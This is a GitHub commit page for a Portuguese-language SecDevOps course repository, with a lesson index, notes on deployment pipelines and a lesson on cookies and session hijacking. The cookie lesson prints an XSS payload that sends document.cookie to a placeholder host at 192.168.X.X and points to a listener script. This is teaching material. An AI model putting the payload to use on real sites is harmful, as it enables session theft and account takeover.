forked from fiapsistemaslinux/classroom
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit 2ddf999
Showing
38 changed files
with
2,566 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
Helder Pereira | ||
<[email protected]> | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,38 @@ | ||
# Sistemas para Internet / secdevops | ||
|
||
[![Hex.pm](https://img.shields.io/hexpm/l/plug.svg)](https://github.com/2TINsecdevops/aulas/blob/master/LICENCE.md) [![GitHub last commit](https://img.shields.io/github/last-commit/google/skia.svg)](https://github.com/2TINsecdevops/aulas/commits/master) [![Fiap](https://img.shields.io/badge/Fiap-2018-ff0080.svg)](https://www.fiap.com.br/) [![Linkedin](https://img.shields.io/badge/Linkedin-hpinfo-00BFFF.svg)](https://www.linkedin.com/in/hpinfo/) | ||
|
||
## Material de apoio | ||
|
||
1. [Conceito](https://github.com/2TINsecdevops/aulas/blob/master/content/concepts) | ||
2. [Versionando Código](https://github.com/2TINsecdevops/aulas/blob/master/content/version-control/version-control.md) | ||
3. [Infraestructura como Código](https://github.com/2TINsecdevops/aulas/blob/master/content/iac/iac.md) | ||
4. [Integração Contínua](https://github.com/2TINsecdevops/aulas/blob/master/content/ci/ci.md) | ||
- [Jenkins](https://github.com/2TINsecdevops/aulas/blob/master/content/ci/jenkins) | ||
5. [Empacotamento e Repositórios](https://github.com/2TINsecdevops/aulas/blob/master/content/packages-repositories/packages-repositories.md) | ||
- [Maven](https://github.com/2TINsecdevops/aulas/blob/master/content/packages-repositories/maven) | ||
- [Artfactory](https://github.com/2TINsecdevops/aulas/blob/master/content/packages-repositories/art) | ||
6. [Conceitos sobre segurança](https://github.com/2TINsecdevops/aulas/tree/master/content/intro-sec) | ||
7. [Protocolos e Comunicação](https://github.com/2TINsecdevops/aulas/tree/master/content/http) | ||
- [Cookies](https://github.com/2TINsecdevops/aulas/tree/master/content/cookies) | ||
- [XSS](https://github.com/2TINsecdevops/aulas/tree/master/content/xss) | ||
- [CSRF](https://github.com/2TINsecdevops/aulas/tree/master/content/csrf) | ||
8. [Criptografia](https://github.com/2TINsecdevops/aulas/tree/master/content/criptografia) | ||
9. [Analise de Vulnerabilidades](https://github.com/2TINsecdevops/aulas/tree/master/content/va) | ||
- [Nikto](https://github.com/2TINsecdevops/aulas/tree/master/content/va/nikto.md) | ||
10. [Sql Injection](https://github.com/2TINsecdevops/aulas/tree/master/content/sqli) | ||
- [SQLMap](https://github.com/2TINsecdevops/aulas/tree/master/content/sqli/sqlmap) | ||
|
||
--- | ||
|
||
**Imagens para execução de Testes:** | ||
|
||
- [O Projeto Kali](https://www.kali.org/downloads/3/); | ||
|
||
- [Download Kali Virtual Images](https://www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/); | ||
|
||
- [Download Aplicação Virtual Box](https://www.virtualbox.org/wiki/Downloads); | ||
|
||
--- | ||
|
||
**Free Software, Hell Yeah!** |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
theme: jekyll-theme-minimal |
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
## Introdução | ||
|
||
*"The most important problem that we face as software professionals is this: If somebody thinks of a good idea, how do we deliver it to users as quickly as possible?"* | ||
|
||
O trecho acima refere-se ao primeiro paragráfo do primeiro capítulo do Livro "Continuos Delivery dos Authores Jez Humble e David Farley, o livro é promavelmente a melhor referência escrita até então sobre Delivery Continuos e todas as práticas que compõem e sãoi necessárias a essa prática, o que desenvolvedores, engenheiros e afins passaram a chamar de devops ou cultura devops se preferir, é exatamente sobre essa cultura e sobre as práticas, ferramentas e desafios relacionados a este assunto que se trata este material, a idéia é abordar o tema de forma prática com exemplos e contextos baseados em conteúdos já desenvolvidos sobre o assunto e utilizando ferramentas e plataformas que tornem isso possível. | ||
|
||
**Importante:** | ||
|
||
Boa parte dos textos são baseados e utilizam elementos da bibliografia de Humble, fica a indicação desse conteúdo que meio que funciona como uma biblia sobre o asssunto. | ||
|
||
### Terminologia e conceitos básicos | ||
|
||
Para começarmos a aprofundar um pouco as coisas alguns conceitos precisam ser estabelecidos, alguns deles possuem capítulos próprios e serão destrinchados a frente porém ainda assim neste primeiro momento vou apresnetá-los: | ||
|
||
* [Deployment Pipeline](https://github.com/helcorin/secdevops/blob/workspace/content/concepts/pipeline.md) | ||
* [Continuos Integration]() | ||
* [Continuos Delivery]() |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
## Deployment Pipeline | ||
|
||
Uma das bases mais importantes na implementação de metodolias ágeis e de uma cultura devops é compreender e evoluir o processo de delivery ou mais especificamentes os mecanismos que compõem os momentos entre a concepção da idéia e a entrega do código em produção. dentro dessa idéia a implementação de um pipeline é um assunto sobre o qual temos temos de trocar algumas idéias. | ||
|
||
*Conceitualmente um "pipeline" ou "deployment pipeline" é a implementação do processo de build, teste e deploy de aplicações*, este processo é distindo em cada organização pois depende de "n" fatores, mas o princípio básico envolvido é sempre o mesmo, entender isso é começar a entender o processo para que ai sim ele possa ser mudado. | ||
|
||
O exemplo abaixo na figura 1.1 foi extraído do Livro de Humble e demonstra um exemplo de um pipeline: | ||
|
||
![alt tag](https://github.com/helcorin/secdevops/raw/master/content/concepts/images/1.1-pipeline.png) | ||
|
||
> Figura 1.1: Exemplo de um modelo simples de pipeline, partindo do commit de código e chegando até a liberação do release da Aplicação. | ||
Um pipeline descreve o modelo usado no processo de deploy, este por exemplo inicia-se no commit de código, cada mudança feita no código, configurações de ambiente ou bases de dados gera um gatilho e consequentemente um processo, a próxima etapa deste processo considerando será a criação de um binário ou empacotamente se preferir, a partir dai ainda serão executados testes de aceite, testes de carga e a partir daí a liberação deste suposto binario, o que em nosso exemplo seria a nossa nova release ou o que chamamos de "release candidate" dai a famosa nomenclatura de "rc`s". | ||
|
||
Se a nossa querida rc passar com glamour por cada um dos testes que compoẽm o pipeline ela poderá ser implementada. | ||
|
||
Essa é a essência e função básica de um modelo de pipeline, definir o método utilizado no processo de deployment de uma aplicação, o que está intimamente ligado a idéia de Delivery Continuo e Integração Continua de código. | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,70 @@ | ||
# Cookies: | ||
|
||
![alt tag](https://raw.githubusercontent.com/wiki/fiap2tin/Sec/images/cookies-00.png) | ||
|
||
Toda conexão estabelecida entre o Cliente e o Servidor constitue uma **Sessão**, essa sessão é atribuida pelo servidor após execução do processo de conexão no formato "Three Way Handshake" comentado no começo do curso, possuindo uma numeração de identificação baseado em uma tabela chave valor armazenada no servidor, seu uso entre outras funções permite ao servidor identificar o usuário que esta executando a conexão. essa informação também é conhecida pelo Browser do usuária sendo recebida do servidor em uma resposta que chamamos de **Cookie**; | ||
|
||
Podemos verificar a existência de Cookies de sessão inspecionando os elementos da Guia Network no acesso a qualquer página web: | ||
|
||
![alt tag](https://raw.githubusercontent.com/wiki/fiap2tin/Sec/images/cookies-01.png) | ||
|
||
Verifique que neste caso temos o item Cookie com um número de identificação da sessão. Esse número é único e assim será diferente para qualquer outra sessão aberta, faça teste executando o mesmo procedimento a partir de outro Brownser por exemplo ou em uma janela Anônima. | ||
|
||
### O conceito de sequestro de sessão: | ||
|
||
Ataques baseados em sequestro de sessão utilizam mecanismos de exploits baseados na tentativa de controle dos cookies e tokens de acesso em sessões de usuários, quando essas sessões envolvem autenticação prévia, ou seja roubando a sessão estamos executando um by pass na autenticação e recebendo acesso a páginas e conteúdos que supostamente só deveriam ser acessíveis aos usuários autenticados. | ||
|
||
Um token de sessão é normalmente composto por uma string de largura variável e pode ser usado de diferentes maneiras, como na URL, no cabeçalho da requisição http como um cookie ( Modelo que vimos a pouco ), ou em outras partes do cabeçalho ou corpo da requisição http. | ||
|
||
Utilizando código JavaScript um Cookie de sessão pode ser obtindo da seguinte forma: | ||
|
||
```sh | ||
<script> | ||
alert(document.cookie); | ||
</script> | ||
``` | ||
|
||
> Neste caso trata-se do Cookie de sua própria sessão o que ainda não configura um processo de sequestro de sessão propriamente dito; | ||
***Como o XSS se relaciona ao Sequestro de Sessão?*** | ||
|
||
O ponto onde o Cookie de sessão e a exploração de XSS baseado em Javascript se encontram é exatamente no resgate e envio dessa informação a terceiros, uma vez que um usuário esteja em uma área autenticada, o cookie de sessão é uma informação preciosa que utilizado da maneira certa permitiria o acesso ao conteúdo autenticado "simulando" estar na sessão do usuário, Existem certas formas de obter essa informação o principio basico por trás da maioria delas é forçar a execução de código pelo Browser do usuário de forma que o próprio usuário entregue a informação sem perceber; | ||
|
||
***Demonstração de roubo de sessão:*** | ||
|
||
No exemplo abaixo utilizaremos uma imagem como base para conseguir isso, essa imagem será seguida pela requisição de acesso ao cookie do usuário: | ||
|
||
```sh | ||
Hi Everone... | ||
<script> | ||
var imagem=new Image(); | ||
imagem.src="http://192.168.X.X?"+document.cookie; | ||
</script> | ||
``` | ||
|
||
Na demonstração acima temos o campo "http://192.168.X.X" com endereço do host que receberá o cookie enviado pelo browser e a propriedade ***?"+[document.cookie](https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie)*** utilizada para recuperar o cookie associado a sessão no momento em que executamos um GET no conteúdo do blog; | ||
|
||
> Para que alguma ação baseada no conceito acima seja bem sucedida será necessário que no endereço de destino o host seja preparado para receber a informação enviada pelo brownser dos usuários que acessaram a página com o código XSS implementado, isso pode ser feito de "N" formas, usando webservers ou aplicações simples como um [script python](https://github.com/fiap2tin/Sec/blob/master/scripts/listen.py); | ||
--- | ||
|
||
# Material de Referência: | ||
|
||
Boa parte dessa aula baseia-se em uma publicação de Prakhar Prasad pela editora Packt: | ||
|
||
* [Livro, Mastering Modern Web Penetration Testing](https://www.packtpub.com/networking-and-servers/mastering-modern-web-penetration-testing) | ||
|
||
|
||
O curso da [Alura]() sobre Segurança Web apresenta alguns conceitos muito legais sobre sequestro de sessão e XSS usando como base a plataforma OWASP: | ||
|
||
* [Curso Segurança Web: Vulnerabilidades do seu sistema e OWASP | ||
](https://cursos.alura.com.br/course/seguranca-web-vulnerabilidades-do-seu-sistema) | ||
|
||
|
||
Detalhamento Técnico sobre a propriedade document.cookie fornecida pelo MDN: | ||
|
||
* [Document.cookie](https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie) | ||
|
||
--- | ||
|
||
**Free Software, Hell Yeah!** |
Oops, something went wrong.